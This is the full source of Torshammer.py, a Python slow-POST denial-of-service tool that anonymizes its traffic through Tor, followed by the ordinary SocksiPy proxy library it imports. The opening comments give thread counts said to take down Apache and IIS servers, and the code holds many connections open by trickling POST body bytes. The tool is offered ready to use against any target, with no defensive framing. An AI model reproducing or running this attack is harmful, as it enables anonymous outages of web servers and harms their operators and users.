Torshammer.py

#!/usr/bin/python

# this assumes you have the socks.py (http://phiral.net/socks.py)
# in the same directory and that you have tor running locally
# on port 9050. run with 128 to 256 threads to be effective.
# kills apache 1.X with ~128, apache 2.X / IIS with ~256.


import os
import re
import time
import sys
import random
import getopt
import socks
from threading import Thread
from string import letters

class httpPost(Thread):
        def __init__(self, host):
                Thread.__init__(self)
                self.host = host
                self.port = 80
                self.socks = socks.socksocket()
                self.running = True

        def _send_http_post(self, pause=10):
                self.socks.send("POST / HTTP/1.1\r\n"
                                 "Host: %s\r\n"
                                 "User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)\r\n"
                                 "Connection: keep-alive\r\n"
                                 "Keep-Alive: 900\r\n"
                                 "Content-Length: 10000\r\n"
                                 "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host))

                for i in range(0, 9999):
                        print "!",
                        self.socks.send('E')
                        time.sleep(random.randrange(1, 3))

                self.socks.close()

        def run(self):
                while self.running:
                        while self.running:
                                try:
                                        self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
                                        self.socks.connect((self.host, self.port))
                                        print "c",
                                        break
                                except Exception, e:
                                        if e.args[0] == 106 or e.args[0] == 60:
                                                break
                                        print "Couldn't connect:", e.args, self.host, self.port
                                        time.sleep(1)
                                        continue
                                        break

                        while self.running:
                                try:
                                        self._send_http_post()
                                except Exception, e:
                                        if e.args[0] == 32 or e.args[0] == 104:
                                                print "thread connection broken, retrying."
                                                self.socks = socks.socksocket()
                                                break
                                        print "Couldn't send message on thread because", e.args
                                        time.sleep(0.1)
                                        pass

def usage():
        print "./torshammer.py -t <target> -r <threads> [-h]",

def main(argv):

        try:
                opts, args = getopt.getopt(argv, "ht:r:", ["help", "target=","threads="])
        except getopt.GetoptError:
                usage()
                sys.exit(-1)

        target = ''
        threads = 0

        for o, a in opts:
                if o in ("-h", "--help"):
                        usage()
                        sys.exit(0)
                elif o in ("-t", "--target"):
                        target = a
                elif o in ("-r", "--threads"):
                        threads = a

        if target == '' or int(threads) <= 0:
                usage()
                sys.exit(-1)

        print "\nTarget is: %s" % target
        print "Running with %d threads.\n" % int(threads)

        rthreads = []

        sys.stdout.write("!")
        for i in range(0, int(threads)):
                t = httpPost(target)
                rthreads.append(t)
                t.start()

        for fthread in rthreads:
                fthread.join()

if __name__ == "__main__":

#       try:
#               pid = os.fork()
#               if pid > 0:
#                       sys.exit(0)
#       except OSError, e:
#               print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror)
#               sys.exit(1)
#
#       os.chdir('/')
#       os.setsid()
#       os.umask(0)
#
#       try:
#               pid = os.fork()
#               if pid > 0:
#                       sys.exit(0)
#       except OSError, e:
#               print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror)
#               sys.exit(1)

        main(sys.argv[1:])



SOCKS.PY:
---------

"""SocksiPy - Python SOCKS module.
Version 1.00

Copyright 2006 Dan-Haim. All rights reserved.

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
  list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
  this list of conditions and the following disclaimer in the documentation
  and/or other materials provided with the distribution.
3. Neither the name of Dan Haim nor the names of his contributors may be used
  to endorse or promote products derived from this software without specific
  prior written permission.

THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE.


This module provides a standard socket-like interface for Python
for tunneling connections through SOCKS proxies.

"""

import socket
import struct

PROXY_TYPE_SOCKS4 = 1
PROXY_TYPE_SOCKS5 = 2
PROXY_TYPE_HTTP = 3

_defaultproxy = None
_orgsocket = socket.socket

class ProxyError(Exception):
        def __init__(self, value):
                self.value = value
        def __str__(self):
                return repr(self.value)

class GeneralProxyError(ProxyError):
        def __init__(self, value):
                self.value = value
        def __str__(self):
                return repr(self.value)

class Socks5AuthError(ProxyError):
        def __init__(self, value):
                self.value = value
        def __str__(self):
                return repr(self.value)

class Socks5Error(ProxyError):
        def __init__(self, value):
                self.value = value
        def __str__(self):
                return repr(self.value)

class Socks4Error(ProxyError):
        def __init__(self, value):
                self.value = value
        def __str__(self):
                return repr(self.value)

class HTTPError(ProxyError):
        def __init__(self, value):
                self.value = value
        def __str__(self):
                return repr(self.value)

_generalerrors = ("success",
                   "invalid data",
                   "not connected",
                   "not available",
                   "bad proxy type",
                   "bad input")

_socks5errors = ("succeeded",
                  "general SOCKS server failure",
                  "connection not allowed by ruleset",
                  "Network unreachable",
                  "Host unreachable",
                  "Connection refused",
                  "TTL expired",
                  "Command not supported",
                  "Address type not supported",
                  "Unknown error")

_socks5autherrors = ("succeeded",
                      "authentication is required",
                      "all offered authentication methods were rejected",
                      "unknown username or invalid password",
                      "unknown error")

_socks4errors = ("request granted",
                  "request rejected or failed",
                  "request rejected because SOCKS server cannot connect to identd on the client",
                  "request rejected because the client program and identd report different user-ids",
                  "unknown error")

def setdefaultproxy(proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):
        """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]])
        Sets a default proxy which all further socksocket objects will use,
        unless explicitly changed.
        """
        global _defaultproxy
        _defaultproxy = (proxytype,addr,port,rdns,username,password)

class socksocket(socket.socket):
        """socksocket([family[, type[, proto]]]) -> socket object

        Open a SOCKS enabled socket. The parameters are the same as
        those of the standard socket init. In order for SOCKS to work,
        you must specify family=AF_INET, type=SOCK_STREAM and proto=0.
        """

        def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None):
                _orgsocket.__init__(self,family,type,proto,_sock)
                if _defaultproxy != None:
                        self.__proxy = _defaultproxy
                else:
                        self.__proxy = (None, None, None, None, None, None)
                self.__proxysockname = None
                self.__proxypeername = None

        def __recvall(self, bytes):
                """__recvall(bytes) -> data
                Receive EXACTLY the number of bytes requested from the socket.
                Blocks until the required number of bytes have been received.
                """
                data = ""
                while len(data) < bytes:
                        data = data + self.recv(bytes-len(data))
                return data

        def setproxy(self,proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):
                """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]])
                Sets the proxy to be used.
                proxytype -     The type of the proxy to be used. Three types
                                are supported: PROXY_TYPE_SOCKS4 (including socks4a),
                                PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP
                addr -          The address of the server (IP or DNS).
                port -          The port of the server. Defaults to 1080 for SOCKS
                                servers and 8080 for HTTP proxy servers.
                rdns -          Should DNS queries be preformed on the remote side
                                (rather than the local side). The default is True.
                                Note: This has no effect with SOCKS4 servers.
                username -      Username to authenticate with to the server.
                                The default is no authentication.
                password -      Password to authenticate with to the server.
                                Only relevant when username is also provided.
                """
                self.__proxy = (proxytype,addr,port,rdns,username,password)

        def __negotiatesocks5(self,destaddr,destport):
                """__negotiatesocks5(self,destaddr,destport)
                Negotiates a connection through a SOCKS5 server.
                """
                # First we'll send the authentication packages we support.
                if (self.__proxy[4]!=None) and (self.__proxy[5]!=None):
                        # The username/password details were supplied to the
                        # setproxy method so we support the USERNAME/PASSWORD
                        # authentication (in addition to the standard none).
                        self.sendall("\x05\x02\x00\x02")
                else:
                        # No username/password were entered, therefore we
                        # only support connections with no authentication.
                        self.sendall("\x05\x01\x00")
                # We'll receive the server's response to determine which
                # method was selected
                chosenauth = self.__recvall(2)
                if chosenauth[0] != "\x05":
                        self.close()
                        raise GeneralProxyError((1,_generalerrors[1]))
                # Check the chosen authentication method
                if chosenauth[1] == "\x00":
                        # No authentication is required
                        pass
                elif chosenauth[1] == "\x02":
                        # Okay, we need to perform a basic username/password
                        # authentication.
                        self.sendall("\x01" + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.proxy[5])) + self.__proxy[5])
                        authstat = self.__recvall(2)
                        if authstat[0] != "\x01":
                                # Bad response
                                self.close()
                                raise GeneralProxyError((1,_generalerrors[1]))
                        if authstat[1] != "\x00":
                                # Authentication failed
                                self.close()
                                raise Socks5AuthError,((3,_socks5autherrors[3]))
                        # Authentication succeeded
                else:
                        # Reaching here is always bad
                        self.close()
                        if chosenauth[1] == "\xFF":
                                raise Socks5AuthError((2,_socks5autherrors[2]))
                        else:
                                raise GeneralProxyError((1,_generalerrors[1]))
                # Now we can request the actual connection
                req = "\x05\x01\x00"
                # If the given destination address is an IP address, we'll
                # use the IPv4 address request even if remote resolving was specified.
                try:
                        ipaddr = socket.inet_aton(destaddr)
                        req = req + "\x01" + ipaddr
                except socket.error:
                        # Well it's not an IP number,  so it's probably a DNS name.
                        if self.__proxy[3]==True:
                                # Resolve remotely
                                ipaddr = None
                                req = req + "\x03" + chr(len(destaddr)) + destaddr
                        else:
                                # Resolve locally
                                ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
                                req = req + "\x01" + ipaddr
                req = req + struct.pack(">H",destport)
                self.sendall(req)
                # Get the response
                resp = self.__recvall(4)
                if resp[0] != "\x05":
                        self.close()
                        raise GeneralProxyError((1,_generalerrors[1]))
                elif resp[1] != "\x00":
                        # Connection failed
                        self.close()
                        if ord(resp[1])<=8:
                                raise Socks5Error(ord(resp[1]),_generalerrors[ord(resp[1])])
                        else:
                                raise Socks5Error(9,_generalerrors[9])
                # Get the bound address/port
                elif resp[3] == "\x01":
                        boundaddr = self.__recvall(4)
                elif resp[3] == "\x03":
                        resp = resp + self.recv(1)
                        boundaddr = self.__recvall(resp[4])
                else:
                        self.close()
                        raise GeneralProxyError((1,_generalerrors[1]))
                boundport = struct.unpack(">H",self.__recvall(2))[0]
                self.__proxysockname = (boundaddr,boundport)
                if ipaddr != None:
                        self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)
                else:
                        self.__proxypeername = (destaddr,destport)

        def getproxysockname(self):
                """getsockname() -> address info
                Returns the bound IP address and port number at the proxy.
                """
                return self.__proxysockname

        def getproxypeername(self):
                """getproxypeername() -> address info
                Returns the IP and port number of the proxy.
                """
                return _orgsocket.getpeername(self)

        def getpeername(self):
                """getpeername() -> address info
                Returns the IP address and port number of the destination
                machine (note: getproxypeername returns the proxy)
                """
                return self.__proxypeername

        def __negotiatesocks4(self,destaddr,destport):
                """__negotiatesocks4(self,destaddr,destport)
                Negotiates a connection through a SOCKS4 server.
                """
                # Check if the destination address provided is an IP address
                rmtrslv = False
                try:
                        ipaddr = socket.inet_aton(destaddr)
                except socket.error:
                        # It's a DNS name. Check where it should be resolved.
                        if self.__proxy[3]==True:
                                ipaddr = "\x00\x00\x00\x01"
                                rmtrslv = True
                        else:
                                ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
                # Construct the request packet
                req = "\x04\x01" + struct.pack(">H",destport) + ipaddr
                # The username parameter is considered userid for SOCKS4
                if self.__proxy[4] != None:
                        req = req + self.__proxy[4]
                req = req + "\x00"
                # DNS name if remote resolving is required
                # NOTE: This is actually an extension to the SOCKS4 protocol
                # called SOCKS4A and may not be supported in all cases.
                if rmtrslv==True:
                        req = req + destaddr + "\x00"
                self.sendall(req)
                # Get the response from the server
                resp = self.__recvall(8)
                if resp[0] != "\x00":
                        # Bad data
                        self.close()
                        raise GeneralProxyError((1,_generalerrors[1]))
                if resp[1] != "\x5A":
                        # Server returned an error
                        self.close()
                        if ord(resp[1]) in (91,92,93):
                                self.close()
                                raise Socks4Error((ord(resp[1]),_socks4errors[ord(resp[1])-90]))
                        else:
                                raise Socks4Error((94,_socks4errors[4]))
                # Get the bound address/port
                self.__proxysockname = (socket.inet_ntoa(resp[4:]),struct.unpack(">H",resp[2:4])[0])
                if rmtrslv != None:
                        self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)
                else:
                        self.__proxypeername = (destaddr,destport)

        def __negotiatehttp(self,destaddr,destport):
                """__negotiatehttp(self,destaddr,destport)
                Negotiates a connection through an HTTP server.
                """
                # If we need to resolve locally, we do this now
                if self.__proxy[3] == False:
                        addr = socket.gethostbyname(destaddr)
                else:
                        addr = destaddr
                self.sendall("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n")
                # We read the response until we get the string "\r\n\r\n"
                resp = self.recv(1)
                while resp.find("\r\n\r\n")==-1:
                        resp = resp + self.recv(1)
                # We just need the first line to check if the connection
                # was successful
                statusline = resp.splitlines()[0].split(" ",2)
                if statusline[0] not in ("HTTP/1.0","HTTP/1.1"):
                        self.close()
                        raise GeneralProxyError((1,_generalerrors[1]))
                try:
                        statuscode = int(statusline[1])
                except ValueError:
                        self.close()
                        raise GeneralProxyError((1,_generalerrors[1]))
                if statuscode != 200:
                        self.close()
                        raise HTTPError((statuscode,statusline[2]))
                self.__proxysockname = ("0.0.0.0",0)
                self.__proxypeername = (addr,destport)

        def connect(self,destpair):
                """connect(self,despair)
                Connects to the specified destination through a proxy.
                destpar - A tuple of the IP/DNS address and the port number.
                (identical to socket's connect).
                To select the proxy server use setproxy().
                """
                # Do a minimal input check first
                if (type(destpair) in (list,tuple)==False) or (len(destpair)<2) or (type(destpair[0])!=str) or (type(destpair[1])!=int):
                        raise GeneralProxyError((5,_generalerrors[5]))
                if self.__proxy[0] == PROXY_TYPE_SOCKS5:
                        if self.__proxy[2] != None:
                                portnum = self.__proxy[2]
                        else:
                                portnum = 1080
                        _orgsocket.connect(self,(self.__proxy[1],portnum))
                        self.__negotiatesocks5(destpair[0],destpair[1])
                elif self.__proxy[0] == PROXY_TYPE_SOCKS4:
                        if self.__proxy[2] != None:
                                portnum = self.__proxy[2]
                        else:
                                portnum = 1080
                        _orgsocket.connect(self,(self.__proxy[1],portnum))
                        self.__negotiatesocks4(destpair[0],destpair[1])
                elif self.__proxy[0] == PROXY_TYPE_HTTP:
                        if self.__proxy[2] != None:
                                portnum = self.__proxy[2]
                        else:
                                portnum = 8080
                        _orgsocket.connect(self,(self.__proxy[1],portnum))
                        self.__negotiatehttp(destpair[0],destpair[1])
                elif self.__proxy[0] == None:
                        _orgsocket.connect(self,(destpair[0],destpair[1]))
                else:
                        raise GeneralProxyError((4,_generalerrors[4]))